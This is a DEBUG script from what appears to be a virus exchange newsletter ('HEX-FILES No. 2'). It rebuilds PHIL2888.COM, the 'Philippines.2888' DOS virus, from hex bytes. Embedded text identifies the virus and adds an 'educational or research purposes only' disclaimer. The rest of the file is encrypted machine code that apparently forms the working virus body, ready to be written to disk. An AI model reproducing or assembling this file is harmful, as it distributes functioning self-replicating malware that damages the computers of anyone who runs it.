ÄÄ PHILPNS1.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ PHIL2888.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N PHIL2888.COM
E 0100 BB 32 0B BE E0 08 56 FC C3 00 00 00 00 00 00 00
E 0110 00 00 18 98 00 00 00 00 00 20 00 00 00 00 00 00
E 0120 69 70 70 69 6E 65 73 2E 32 38 38 38 20 76 69 72
E 0130 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75
E 0140 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70
E 0150 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20
E 0160 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48
E 0170 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 32 0D 0A
E 0180 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50
E 0190 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61
E 01A0 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62
E 01B0 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69
E 01C0 6D 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69
E 01D0 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20
E 01E0 62 72 6F 75 67 68 74 20 61 62 6F 75 74 20 62 79
E 01F0 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75 73 65
E 0200 20 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F 66 0D 0A
E 0210 74 68 69 73 20 76 69 72 69 69 2E 20 54 68 65 20
E 0220 70 65 72 73 6F 6E 20 77 68 6F 20 65 78 65 63 75
E 0230 74 65 73 20 74 68 69 73 20 76 69 72 69 69 20 62
E 0240 65 61 72 73 20 66 75 6C 6C 20 72 65 73 70 6F 6E
E 0250 73 69 62 69 6C 69 74 79 0D 0A 66 6F 72 20 68 69
E 0260 73 2F 68 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A
E 0270 0A 54 68 69 73 20 76 69 72 69 69 20 69 73 20 73
E 0280 74 72 69 63 74 6C 79 20 66 6F 72 20 65 64 75 63
E 0290 61 74 69 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61
E 02A0 72 63 68 20 70 75 72 70 6F 73 65 73 20 6F 6E 6C
E 02B0 79 2E 0D 0A 0A 24 08 20 1A 20 20 20 20 20 20 20
E 02C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 02F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0310 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0320 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0330 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0340 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0350 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0360 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0370 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0380 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0390 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 03F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0400 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0410 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0420 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0430 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0440 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0450 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0460 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0470 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0480 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0490 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 04F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0500 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21 20 20 20
E 0510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0520 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0530 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0540 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0550 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0570 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0580 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0590 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 05F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0600 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0610 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0620 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0630 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0640 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0650 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0660 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0670 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0680 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0690 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 06F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0700 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0710 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0720 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0730 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0740 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0750 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0760 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0770 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0780 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0790 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07D0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07E0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 07F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0800 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0810 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0820 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0830 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0840 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0850 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0860 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0870 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0880 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 0890 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
E 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 08E0 BF EB 08 57 5E AC 2C 58 AA 4B 75 51 E4 20 40 58
E 08F0 58 B5 DB 45 69 E8 41 15 58 E6 5E D2 63 8B 57 E3
E 0900 4F 11 A0 63 4B FC 5E 77 1B 13 8A 63 16 9C 9C AE
E 0910 54 1B 40 81 5C 62 2A CD 60 5A 2E 28 42 62 2A CC
E 0920 49 1B 54 E3 32 AA E2 5F 62 18 CC 66 94 B9 CA 5F
E 0930 94 D2 CF 5B D8 87 78 9B 43 44 E3 23 99 B6 83 26
E 0940 A9 76 5F 08 86 E3 52 4A 06 10 B0 9D 90 7D CD 67
E 0950 91 9D 59 CD 92 66 5F 86 1E 5E CD 63 59 43 8E 10
E 0960 A7 A5 91 9D 59 CD 80 D8 95 9B CD 7B B1 A9 DB 41
E 0970 5C 10 B4 92 90 9D 57 CC 60 90 BD 57 CC 5B A7 3A
E 0980 4B E3 4F 66 5F 17 0F 58 11 63 58 4B FE CD 1E 86
E 0990 1E 5E CD 63 58 B1 1B 9B A7 A5 A5 99 A6 9C 86 9B
E 09A0 A7 A5 58 58 D8 58 2B 79 B4 58 2B 79 C4 58 2B 79
E 09B0 58 5A 68 58 58 58 16 41 58 5B 4D E3 56 12 AC 62
E 09C0 09 5B 04 2A 20 02 A2 CD 51 4D 2F 58 70 07 B4 4F
E 09D0 25 72 A8 BD F9 E2 AD A2 03 27 2D 08 E6 C5 E8 81
E 09E0 EA 1D 77 E2 53 1E 53 F6 2A BF 4A DA 1D D1 02 53
E 09F0 2E 53 F6 2A 53 DE D3 B0 2A A2 A6 79 05 32 E4 81
E 0A00 EA E6 1C DA BE 25 A4 FA 71 FA C6 E6 DD D5 BE 4C
E 0A10 70 87 B2 B7 20 2A 25 0C FA B0 87 50 9F 0A E2 25
E 0A20 D7 FA EC 25 B4 22 79 F3 CF E2 DA D7 39 FA EA 7D
E 0A30 88 9F 62 E2 6D FF EC 8D 64 BE 4C 53 FC 92 36 2A
E 0A40 A7 03 FB 25 B6 FA EC 67 EA 4C 12 2E 7D 6B CD 46
E 0A50 E4 FA 62 E2 56 E4 9F 07 FA 6D FF 12 CA 0A 60 BF
E 0A60 C7 DA 78 2C 90 58 90 C8 47 95 64 37 F5 B5 98 D0
E 0A70 EC DA C6 BB E2 28 81 22 BB 4A 65 81 B7 1D 20 22
E 0A80 60 68 58 70 90 88 D2 12 25 52 FA 25 40 E2 0A CA
E 0A90 C8 D0 B0 98 A8 A0 BE 53 CD 53 56 2A 13 DF 43 E2
E 0AA0 EF F6 2A 53 46 12 14 E2 53 46 12 34 E2 53 46 12
E 0AB0 54 E2 12 52 0A 6F DA D7 56 02 9F 20 E2 25 07 CD
E 0AC0 32 AC 81 1A CF E2 2A 6D 07 D5 2C 2D 35 0A B5 46
E 0AD0 24 56 64 C7 FF 42 AD 1D 98 0A 25 F8 D5 53 E6 D3
E 0AE0 79 2A E2 81 1A 2E 75 CF 96 2A 6D 07 2D DA EC 52
E 0AF0 CA A7 03 7B 25 1D 02 1E D2 36 2A 46 12 46 2A A7
E 0B00 03 FB B7 09 DA 25 A4 02 52 0A B7 96 2A A7 E2 BB
E 0B10 25 3C 02 71 9C 2E A4 A7 F2 F0 9F CD CD B7 7D CD
E 0B20 25 BF 02 9F 2A E2 B7 20 2A 87 CB 25 77 02 71 5A
E 0B30 B7 72 E2 25 FF 02 B7 B0 2A 9F F2 E2 87 CB 25 CE
E 0B40 02 C6 87 D3 25 9E 02 BE 71 7A CF 20 2A D7 BB 2A
E 0B50 9F 2A E2 6D 17 79 2A DE D3 B0 2A A2 A6 79 EA 1D
E 0B60 9C D5 6B 74 AF 96 2A E6 C9 DA B3 79 FA 36 8A E6
E 0B70 35 E0 87 93 25 19 02 71 15 8D ED 8D DD 2A 74 79
E 0B80 FA BB E2 42 71 9C AF 97 E2 87 20 25 70 02 71 4C
E 0B90 EF B1 2A B7 96 2A A7 E2 E8 25 00 02 71 A8 1E 52
E 0BA0 A1 2A A7 DA E8 6B 1C 25 93 02 71 38 A7 F2 BB 25
E 0BB0 53 02 71 F8 2E A4 1E D2 91 2A A7 E2 88 25 E3 02
E 0BC0 1E 52 06 2A 1E 92 16 2A 6B 1C 6B 74 A7 F2 F0 25
E 0BD0 52 02 EF D1 2A 1E 92 C1 2A 60 25 C5 EA B7 20 2A
E 0BE0 9F E3 E2 87 CB 25 A5 EA A0 DE D3 20 2A 38 B0 81
E 0BF0 2A BB 1C 0A 71 38 1D 6E E2 1D 0A DA DF 90 2A EF
E 0C00 84 E2 DF A0 2A EF D2 32 DF D0 2A EF CB 02 DF C0
E 0C10 2A EF BB 02 DF 40 2A EE D3 30 2A E2 81 DA 20 8D
E 0C20 13 64 E2 EA 12 30 2A EE 74 E2 EA 12 74 E2 EE 74
E 0C30 E2 FB 65 CD EF D1 2A 1E 92 C1 2A FA 20 2A EE 74
E 0C40 E2 69 EA 1D 27 E2 8D 93 64 E2 2A 74 81 DA E0 EF
E 0C50 40 2A 1E 92 30 2A 2E 92 C1 2A DF D1 2A 8D 93 74
E 0C60 E2 2B 12 60 2A EF D0 2A 0C 12 C0 2A 94 02 0C 12
E 0C70 B0 2A A2 A6 0C 12 A0 2A FF 42 EF 90 2A D5 12 5E
E 0C80 DA 1D 9B F2 25 70 EA 9F C2 E2 2D 40 DF D1 2A FA
E 0C90 62 E2 71 B0 FB 65 CD EF D1 2A FA 20 2A 71 48 D2
E 0CA0 0A CF 39 FA D7 20 2A 9F 62 E2 6D FF D5 12 5E DA
E 0CB0 1D 59 12 53 56 D2 D1 2A CF 20 2A 88 9F 62 E2 6D
E 0CC0 FF 52 CA C8 D7 1B E2 9F 1A E2 6D 07 0C 12 B0 2A
E 0CD0 A2 A6 25 02 EA 9F E3 E2 B7 20 2A 87 E0 25 E2 EA
E 0CE0 2E 52 06 2A 2E 92 16 2A A7 DA 88 25 75 F2 87 D3
E 0CF0 25 3D F2 2E 52 A1 2A EE 1C DA B7 96 2A A7 DA E8
E 0D00 25 BC F2 56 12 B1 2A 87 18 25 84 F2 1D 69 12 25
E 0D10 43 E2 32 74 79 F2 2D 8D 36 75 95 B4 EC E2 E2 E2
E 0D20 E2 53 2E 92 D1 2A 53 2E 52 C1 2A 53 2E D2 91 2A
E 0D30 25 37 F2 9F 20 2A 6B 74 87 E0 25 EF F2 EC 6B E4
E 0D40 3C B2 53 9B 92 E6 2A 53 1E 92 E6 2A 79 42 70 87
E 0D50 43 25 46 F2 A0 53 6B 12 06 2A EA F4 EA DC 8D F5
E 0D60 EA 64 EE 9D DA 91 12 2E F4 8D DD EA 64 EC 27 3E
E 0D70 96 2E 2E B6 5E CC BE 16 CC 4F 36 2E 66 86 46 D6
E 0D80 CC 87 D6 26 D6 16 D6 5E CC 66 5E CC AF B6 C6 B6
E 0D90 76 BE B6 3E CC 54 14 14 44 CC 96 5E CC 77 B6 2E
E 0DA0 3E 66 CC 77 D6 5E 96 6E D6 6C CC 4F 8E 96 6E 96
E 0DB0 4E 4E 96 5E B6 46 AF F5 02 9F E2 E2 E8 53 E6 8B
E 0DC0 E2 18 79 A5 C5 2E AD 08 2E 8D 12 52 CA D2 0A 9F
E 0DD0 E2 E2 ED 0A 47 83 E2 37 18 79 9D D7 42 FA 2E D5
E 0DE0 BF 5B 12 5F FA 47 74 E4 37 38 79 9D D7 AA FA 2E
E 0DF0 D5 9F F3 12 47 43 E2 37 18 79 9D D7 E2 E2 2E D5
E 0E00 9F 94 02 58 90 88 47 02 E2 37 18 79 9D C8 D0 98
E 0E10 58 90 88 47 95 A4 37 18 79 9D C8 D0 98 87 E2 47
E 0E20 73 04 37 18 79 9D 2E 1D 25 7C 02 0A 79 C2 46 EC
E 0E30 EE EC 62 DA D2 84 E2 DA D2 CB 02 56 92 84 E2 2E
E 0E40 13 D2 32 12 CA 53 CD 53 BB 02 1D BD AD 1D BD EA
E 0E50 3A E3 E3 E3 3A 32 38 D9 F1 79 21 D9 99 DB 3A 32
E 0E60 32 80 21 19 69 E3 19 69 E3 60 21 19 41 60 68 58
E 0E70 70 90 88 D2 12 25 37 B5 53 E6 D3 79 2A DA 81 22
E 0E80 53 2E 53 F6 2A 1D 12 C5 CF 96 2A 2E 75 88 6D 07
E 0E90 52 CA B0 A7 E2 BB 25 08 DA 71 FD 2E A4 B7 72 E2
E 0EA0 25 A3 DA B7 B0 2A 9F F2 E2 87 CB 25 73 DA 87 D3
E 0EB0 25 3B DA 0A CA C8 D0 B0 98 A8 A0 78 EC 25 9B B5
E 0EC0 25 48 B5 D7 D3 FA 26 82 D7 E2 E2 2E D5 9F 94 02
E 0ED0 58 90 88 47 73 F4 37 F5 B5 C8 D0 98 58 90 88 47
E 0EE0 95 A4 37 F5 B5 25 0B D5 D7 23 FA 26 82 C8 D0 98
E 0EF0 47 F2 14 37 F5 B5 25 F8 D5 2E 24 D7 65 02 BF B0
E 0F00 12 AB 3C 91 DB 5C 1D 5C 1D 5C 1D 5C 1D AB 3C 91
E 0F10 7A 53 2B 52 D1 2A DE DD CD 4A AB 3C 91 22 6B AC
E 0F20 2E 3C 1E C2 2D 12 2E BC 2B 9C 1E C2 D7 B4 02 1E
E 0F30 42 58 68 25 9C BD D7 92 FA 26 82 CF AA FA 2E 8D
E 0F40 9F F3 12 47 33 14 37 F5 B5 D7 42 FA 2E D5 B7 5B
E 0F50 12 9F FA E2 47 74 24 37 30 79 9D 98 ED BA 58 25
E 0F60 67 9D D7 95 02 26 82 D7 ED 02 CF B0 12 98 2B 9D
E 0F70 EA 8D 2E D5 47 73 F4 37 18 79 9D 25 86 9D D7 ED
E 0F80 02 98 CF E5 02 26 7A 2E D5 47 73 F4 37 F5 B5 52
E 0F90 0A 25 3E BD 52 CA 1D 2D C5 70 D2 12 2E B4 E6 C9
E 0FA0 DA B3 79 02 36 0A 2D 0A 87 9A 25 6B E2 02 D8 52
E 0FB0 CA D2 0A F7 55 32 87 B3 CF 96 2A 2E 4D C5 2F B7
E 0FC0 55 32 25 28 B5 71 52 D7 11 2A 47 37 32 E4 79 B5
E 0FD0 2E 7C 25 FA AD 0A CA B0 EC 6B 74 6B 1C A7 E2 F0
E 0FE0 C6 53 CD D2 56 2A EC E2 E4 CC E5 CC E5 CC E5 CC
E 0FF0 E5 CC E5 EF E5 E2 E4 F4 E5 F4 E5 74 E5 74 E5 74
E 1000 E5 67 E5 E2 E4 CC E5 CC E5 CC E5 CC E5 CC E5 64
E 1010 E5 E2 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 64
E 1020 E5 E2 E4 F4 E5 F4 E5 74 E5 74 E5 74 E5 67 E5 E2
E 1030 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 EF E5 E2
E 1040 E4 CC E5 CC E5 CC E5 CC E5 CC E5 CC E5 E2 E4 F4
E 1050 E5 F4 E5 74 E5 74 E5 74 E5 67 E5 F4 E5 F4 E5 E2
E 1060 E4 EF E5 CC E5 CC E5 CC E5 CC E5 64 E5 E2 E4 CC
E 1070 E5 74 E5 74 E5 74 E5 67 E5 E2 E4 64 E5 CC E5 CC
E 1080 E5 CC E5 CC E5 EF E5 E2 E4 EF E5 CC E5 CC E5 EF
E 1090 E5 E2 E4 74 E5 74 E5 74 E5 67 E5 E2 E4 64 E5 CC
E 10A0 E5 CC E5 64 E5 44 C6 53 CD 12 26 2A 79 4A 53 D5
E 10B0 52 81 2A 79 22 53 E6 D3 5E DA 24 69 12 BE 53 CD
E 10C0 53 76 2A BE C5 52 CA D2 0A D7 0A 0A 9F D7 E2 25
E 10D0 76 9D AF E2 A7 3C 5A 03 63 C3 63 79 EA AF E2 67
E 10E0 56 AC 6B 95 CF 17 42 9F 64 0A 58 88 90 6D FF A7
E 10F0 EA E2 3C 62 87 DA 9F 1A 1A 3C 62 52 D2 0A CA C8
E 1100 D0 98 BF E7 4A 6D FF 6B AC 9F 4A E2 58 D7 C8 0A
E 1110 2E AD AB BC 71 EA 25 6E DA 9F 0A E2 6D FF D7 39
E 1120 0A 2E AD DE 0C E7 E2 9F 1A E2 6D FF D7 C8 0A 2E
E 1130 AD DE 0C E0 DA 9F 0A E2 6D FF 8D 5C 6D 47 EE EC
E 1140 F2 98 F5 24 9F EA E2 58 D7 5B 0A 2E AD AB BC 71
E 1150 EA 25 A0 DA 9F 22 E2 6D FF D7 D8 0A 2E AD DE 0C
E 1160 E7 E2 9F 0A E2 6D FF D7 48 0A 2E AD DE 0C E0 DA
E 1170 9F 22 E2 6D FF 8D 5C 6D 47 EE EC F2 98 F5 24 9F
E 1180 EA E2 58 D7 C9 0A 2E AD AB BC 71 EA 25 BA DA 9F
E 1190 0A E2 6D FF D7 3E 0A 2E AD DE 0C E7 E2 9F 12 E2
E 11A0 6D FF D7 9E 0A 2E AD DE 0C E0 DA 9F 0A E2 6D FF
E 11B0 8D 5C 6D 47 EE EC F2 98 F5 24 9F EA E2 58 D7 0F
E 11C0 0A 2E AD AB BC 71 EA 25 F5 E2 9F FA E2 6D FF D7
E 11D0 5F 0A 2E AD DE 0C E7 E2 9F FA E2 6D FF D7 AF 0A
E 11E0 2E AD DE 0C E0 DA 9F FA E2 6D FF 8D 5C 6D 47 EE
E 11F0 EC F2 98 F5 24 9F 02 E2 58 D7 0A 0A 2E AD AB BC
E 1200 71 EA 25 0F E2 9F 0A E2 6D FF D7 7A 0A 2E AD DE
E 1210 0C E7 E2 9F 0A E2 6D FF D7 EB 0A 2E AD DE 0C E0
E 1220 DA 9F 0A E2 6D FF 8D 5C 6D 47 EE EC F2 98 F5 24
E 1230 1D 94 D5 87 30 AF AC E2 3C DB 52 CA 0C 12 26 2A
E 1240 E2 E2 14 12 81 2A 02 A7 DB 7B 3C DB 46 12 66 2A
E 1250 1E D2 56 2A 87 FB B7 76 DA 25 06 BD A7 22 7B 25
E 1260 D1 BD 46 12 86 2A 1E D2 76 2A 87 FB B7 FC 0A 25
E 1270 51 BD 56 12 F6 2A 6B CD 9F D5 CD 73 E4 75 57 13
E 1280 A3 FA E5 9D EE 0C EA 2E 8C 52 12 CA 0A 25 1A BD
E 1290 A7 E2 28 AF F4 E2 25 08 BD D2 0A 87 18 25 E0 BD
E 12A0 87 38 25 AB BD 87 5B B7 AC E2 3C DB A0 3B 1A E2
E 12B0 60 D7 17 42 6B CD 88 9F 64 0A 6D FF CF 62 E2 8D
E 12C0 5C 6D 47 48 79 9D A8 EC E6 C5 BB 81 EA 1D 42 8D
E 12D0 53 1E 53 F6 2A BF AD 1A 1D 76 AD 53 2E 53 F6 2A
E 12E0 53 DE D3 B0 2A A2 A6 81 EA 1D 37 8D BE 25 65 C5
E 12F0 9D 78 C6 A0 2E 45 1E 10 12 B8 A7 F2 E2 4C E2 E2
E 1300 67 4A 36 E5 95 84 2E A4 8D 6C 3C DB AB EC D2 12
E 1310 C6 6B E4 56 A4 04 12 01 E2 46 12 12 E2 EF 02 E2
E 1320 BE 0A CA EC 2E 53 D1 2A DE FC E2 DA 25 34 7D 25
E 1330 E5 7D D7 7D E2 26 82 D7 B5 E2 9F E8 32 2E D5 47
E 1340 73 F4 37 F5 B5 D7 1D E2 B7 80 32 2E D5 5F EA 47
E 1350 74 E4 37 30 79 9D AF 2A E2 68 EA BC CF 3B E2 D7
E 1360 FA E2 53 1E 3B 1E C0 C5 25 07 9D 26 80 F2 D0 9F
E 1370 73 2A 2E D5 47 33 14 37 F5 B5 52 0A 25 F7 9D 1D
E 1380 5B 9D 52 CA 52 0A 67 E2 9F 46 E2 B7 96 2A 2E B5
E 1390 75 57 A7 C0 B3 48 A3 F8 CD 81 0A A3 F9 CD 81 F2
E 13A0 2D 6D 2E 4D D7 95 32 9F 32 E2 6D 07 25 D9 95 71
E 13B0 B2 D7 11 2A 2E BD 47 37 32 E4 79 B5 A7 DA E8 6B
E 13C0 1C 25 C2 C5 71 FA 87 D8 25 7A C5 1D 39 95 D8 B3
E 13D0 33 53 F8 A0 F8 E2 E8 20 28 40 18 68 80 53 33 E2
E 13E0 88 71 19 81 81 F9 51 E3 F1 99 E3 60 79 81 49 29
E 13F0 69 D9 E3 28 D9 89 D9 99 D9 51 E3 49 51 E3 00 F9
E 1400 E9 F9 39 F1 F9 71 E3 5B 9B 9B 6B E3 19 51 E3 38
E 1410 F9 81 71 49 E3 38 D9 51 19 41 D9 43 E3 50 68 69
E 1420 6C 69 70 70 69 6E 65 73
RCX
1328
W
Q
ÄÄ PHIL2888.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
EoF.
